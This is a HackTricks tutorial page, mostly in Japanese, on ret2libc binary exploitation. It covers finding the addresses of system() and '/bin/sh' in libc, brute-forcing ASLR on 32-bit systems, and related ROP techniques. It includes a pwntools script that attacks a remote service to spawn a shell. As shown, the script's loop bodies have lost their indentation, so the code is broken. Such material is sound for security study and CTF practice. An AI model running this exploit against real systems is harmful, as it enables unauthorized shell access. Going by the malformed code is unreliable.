Ret2lib

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

The essence of Ret2Libc is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., system, execve, strcpy) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.

例:手順(簡略)

  • 呼び出す関数(例: system)のアドレスと、実行するコマンド(例: /bin/sh)を取得する
  • 第一引数にコマンド文字列のアドレスを渡し、実行フローを関数に向けるROP chainを生成する

アドレスの取得

  • Supposing that the libc used is the one from current machine you can find where it’ll be loaded in memory with:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

ASLRがlibcのアドレスを変更しているか確認したい場合は、次のようにします:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • 使用している libc が分かっていれば、次の方法で system 関数へのオフセットを見つけることも可能です:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • 使用されている libc を知っていれば、/bin/sh 文字列へのオフセットも次のように見つけることができます:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

gdb-peda / GEF の使用

使用している libc が分かっている場合、Peda や GEF を使って system 関数、exit 関数、および文字列 /bin/sh のアドレスを取得することも可能です:

p system
p exit
find "/bin/sh"

/proc/<PID>/maps の使用

プロセスが(ネットワークサーバなどで)やり取りするたびに子プロセスを生成する場合は、そのファイルを読み取ってみてください(おそらく root が必要になります)。

ここで、プロセス内のlibc が正確にどこにロードされているか、および各子プロセスでどこにロードされる予定かを確認できます。

この場合、0xb75dc000 にロードされています(これは libc のベースアドレスになります)

不明な libc

実行ファイルがロードしている libc を知らない 可能性があります(サーバ上にありアクセスできないため)。その場合、脆弱性を悪用してアドレスを leak し、どの libc が使われているかを特定する ことができます:

Leaking libc address with ROP

そして、このための pwntools テンプレートは次で見つけられます:

Leaking libc - template

2つのオフセットで libc を特定する

ページ https://libc.blukat.me/ を確認し、libc 内の関数の いくつかのアドレス を使って 使用されているバージョン を調べてください。

32 bits における ASLR の回避

これらのブルートフォース攻撃は 32bit systems の場合にのみ有効 です。

  • If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • リモートサーバーを攻撃する場合、burte-force libc 関数 usleep のアドレス を試し、引数に 10(例)を渡すことができます。もしある時点で server が応答にさらに 10s かかれば、その関数のアドレスが見つかったことになります。

One Gadget

libc の特定の 1つアドレス にジャンプするだけでシェルを実行します:

One Gadget

x86 Ret2lib コード例

この例では ASLR brute-force がコードに組み込まれており、脆弱なバイナリは remote server に配置されています:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib コード例

例を参照:

ROP & JOP

ARM64 Ret2lib 例

ARM64の場合、ret命令はスタックレジスタが指す場所ではなく x30 レジスタが指す場所にジャンプします。したがって少し複雑です。

またARM64では、命令は命令が行う通りに動作します(命令の途中にジャンプしてそれらを別の命令として扱うことはできません)。

例を参照:

Ret2lib + Printf leak - arm64

Ret-into-printf (or puts)

これは、特定のデータを引数として printf/puts を呼び出すことでプロセスから情報を leak することを可能にします。たとえば、GOT にある puts のアドレスを puts の実行に渡すと、メモリ上の puts のアドレスを leak します

Ret2printf

これは基本的に、ret2lib を使って printf を呼び出し、その値で悪用することで Ret2lib を printf のフォーマット文字列脆弱性に変換する ことを意味します(無駄に思えるが可能です):

Format Strings

その他の例と参照

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする